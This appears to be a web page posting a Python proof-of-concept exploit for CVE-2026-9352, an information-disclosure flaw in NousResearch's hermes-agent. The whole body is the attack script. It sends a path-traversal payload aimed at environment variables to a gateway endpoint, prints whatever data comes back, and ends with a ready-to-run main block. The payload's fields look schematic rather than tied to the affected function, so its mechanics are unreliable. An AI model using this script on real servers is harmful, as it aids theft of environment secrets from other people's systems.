CVE-2026-9352 NousResearch hermes-agent 信息泄露漏洞

import requests import json # CVE-2026-9352 PoC - Information Disclosure in NousResearch hermes-agent # Target: Messaging Gateway Handler component def exploit_cve_2026_9352(target_url): """ Exploit for CVE-2026-9352: Information Disclosure in hermes-agent Affected component: tools/environments/local.py _make_run_env function """ # Step 1: Identify the vulnerable endpoint endpoint = f"{target_url}/api/gateway/make_run_env" # Step 2: Craft malicious payload to trigger information disclosure # The vulnerability allows manipulation of the messaging gateway handler payload = { "action": "_make_run_env", "manipulation": { "path": "../../../../", "target": "environment_vars" } } # Step 3: Send the exploit request try: response = requests.post( endpoint, json=payload, headers={ "Content-Type": "application/json", "User-Agent": "hermes-agent-exploit-test" }, timeout=30 ) # Step 4: Extract sensitive information from response if response.status_code == 200: data = response.json() print("[+] Successfully extracted information:") print(json.dumps(data, indent=2)) return data else: print(f"[-] Request failed with status: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return None if __name__ == "__main__": # Example usage target = "http://target-server:port" exploit_cve_2026_9352(target)